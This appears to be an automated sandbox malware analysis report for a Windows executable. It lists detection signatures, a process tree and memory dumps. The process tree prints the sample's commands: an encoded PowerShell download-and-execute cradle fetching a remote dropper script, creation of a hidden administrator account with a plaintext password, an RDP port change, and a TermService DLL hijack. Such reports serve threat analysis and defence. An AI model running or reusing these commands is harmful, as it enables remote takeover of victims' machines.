Analysis

  • max time kernel
    63s
  • max time network
    91s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    09/07/2021, 18:51

General

  • Target
    dbad0a50ee82c2e5dff20a24858b7a06.exe
  • Size 3.2MB
  • Sample210709-4hevejhr5a
  • SHA256 2142824c415eb4f05facc471942840e5065aa41b322f36dac198d30d00e8b6fc
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dbad0a50ee82c2e5dff20a24858b7a06.exe
    "C:\Users\Admin\AppData\Local\Temp\dbad0a50ee82c2e5dff20a24858b7a06.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4060
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Deletes itself
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1104
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0nspcssq\0nspcssq.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:644
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7507.tmp" "c:\Users\Admin\AppData\Local\Temp\0nspcssq\CSC7CFEF2B3777F43D8BE553381D6BDF15.TMP"
            5⤵
              PID:2100
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2388
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:212
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3912
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:1300
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:3836
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:644
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1164
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:3180
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:500
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3560
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:212
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:1052
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3008
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3644
                      • C:\Windows\system32\net.exe
                        net start TermService
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1300
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 start TermService
                          7⤵
                            PID:3836
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                      4⤵
                        PID:3820
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                        4⤵
                          PID:3260
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1488
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3728
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:2072
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc cPQqaRw1 /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3820
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc cPQqaRw1 /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2264
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc cPQqaRw1 /add
                          3⤵
                            PID:3716
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3640
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3560
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:668
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1320
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3728
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:2000
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                              PID:2072
                              • C:\Windows\system32\net.exe
                                net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                2⤵
                                  PID:2264
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                    3⤵
                                      PID:964
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc cPQqaRw1
                                  1⤵
                                    PID:1708
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc cPQqaRw1
                                      2⤵
                                        PID:3560
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc cPQqaRw1
                                          3⤵
                                            PID:3816
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C wmic path win32_VideoController get name
                                        1⤵
                                          PID:3260
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic path win32_VideoController get name
                                            2⤵
                                              PID:2220
                                          • C:\Windows\System32\cmd.exe
                                            cmd.exe /C wmic CPU get NAME
                                            1⤵
                                              PID:1740
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic CPU get NAME
                                                2⤵
                                                  PID:2072
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                1⤵
                                                  PID:3640
                                                  • C:\Windows\system32\cmd.exe
                                                    cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    2⤵
                                                      PID:3816
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                        3⤵
                                                        • Blocklisted process makes network request
                                                        • Drops file in Program Files directory
                                                        • Drops file in Windows directory
                                                        • Modifies data under HKEY_USERS
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:2320

                                                  Network

                                                        MITRE ATT&CK Enterprise v6

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        memory/212-255-0x0000019C114F3000-0x0000019C114F5000-memory.dmp

                                                        memory/212-280-0x0000019C114F8000-0x0000019C114FA000-memory.dmp

                                                        memory/212-256-0x0000019C114F6000-0x0000019C114F8000-memory.dmp

                                                        memory/212-254-0x0000019C114F0000-0x0000019C114F2000-memory.dmp

                                                        memory/1104-173-0x0000021CDEEB0000-0x0000021CDEEB1000-memory.dmp

                                                        memory/1104-167-0x0000021CDE3B8000-0x0000021CDE3B9000-memory.dmp

                                                        memory/1104-146-0x0000021CC5D40000-0x0000021CC5D41000-memory.dmp

                                                        memory/1104-160-0x0000021CDE3B6000-0x0000021CDE3B8000-memory.dmp

                                                        memory/1104-154-0x0000021CDE3B3000-0x0000021CDE3B5000-memory.dmp

                                                        memory/1104-153-0x0000021CDE3B0000-0x0000021CDE3B2000-memory.dmp

                                                        memory/1104-149-0x0000021CDE540000-0x0000021CDE541000-memory.dmp

                                                        memory/1104-165-0x0000021CC5D30000-0x0000021CC5D31000-memory.dmp

                                                        memory/1104-172-0x0000021CDEB20000-0x0000021CDEB21000-memory.dmp

                                                        memory/2320-397-0x00000203EE440000-0x00000203EE442000-memory.dmp

                                                        memory/2320-452-0x00000203EE448000-0x00000203EE449000-memory.dmp

                                                        memory/2320-398-0x00000203EE443000-0x00000203EE445000-memory.dmp

                                                        memory/2320-401-0x00000203EE446000-0x00000203EE448000-memory.dmp

                                                        memory/2388-193-0x0000025B1B8C6000-0x0000025B1B8C8000-memory.dmp

                                                        memory/2388-187-0x0000025B1B8C3000-0x0000025B1B8C5000-memory.dmp

                                                        memory/2388-186-0x0000025B1B8C0000-0x0000025B1B8C2000-memory.dmp

                                                        memory/2388-222-0x0000025B1B8C8000-0x0000025B1B8CA000-memory.dmp

                                                        memory/3752-123-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                        memory/3752-131-0x000002DDFDF70000-0x000002DDFE21A000-memory.dmp

                                                        memory/3752-136-0x000002DDFDCB3000-0x000002DDFDCB5000-memory.dmp

                                                        memory/3752-135-0x000002DDFDCB0000-0x000002DDFDCB2000-memory.dmp

                                                        memory/3752-137-0x000002DDFDCB5000-0x000002DDFDCB6000-memory.dmp

                                                        memory/3752-138-0x000002DDFDCB6000-0x000002DDFDCB7000-memory.dmp

                                                        memory/3752-140-0x000002DDFDCB8000-0x000002DDFDCBA000-memory.dmp

                                                        memory/3752-134-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                        memory/3912-286-0x00000194F5256000-0x00000194F5258000-memory.dmp

                                                        memory/3912-283-0x00000194F5250000-0x00000194F5252000-memory.dmp

                                                        memory/3912-308-0x00000194F5258000-0x00000194F525A000-memory.dmp

                                                        memory/3912-284-0x00000194F5253000-0x00000194F5255000-memory.dmp

                                                        memory/4060-119-0x000000001D640000-0x000000001DAF1000-memory.dmp

                                                        memory/4060-122-0x000000001E300000-0x000000001E78D000-memory.dmp

                                                        memory/4060-121-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

                                                        memory/4060-120-0x0000000000C90000-0x0000000000CA0000-memory.dmp

                                                        memory/4060-118-0x000000001D470000-0x000000001D471000-memory.dmp

                                                        memory/4060-116-0x000000001C450000-0x000000001CA91000-memory.dmp

                                                        memory/4060-114-0x0000000000150000-0x0000000000151000-memory.dmp

                                                        memory/4060-117-0x000000001C040000-0x000000001C042000-memory.dmp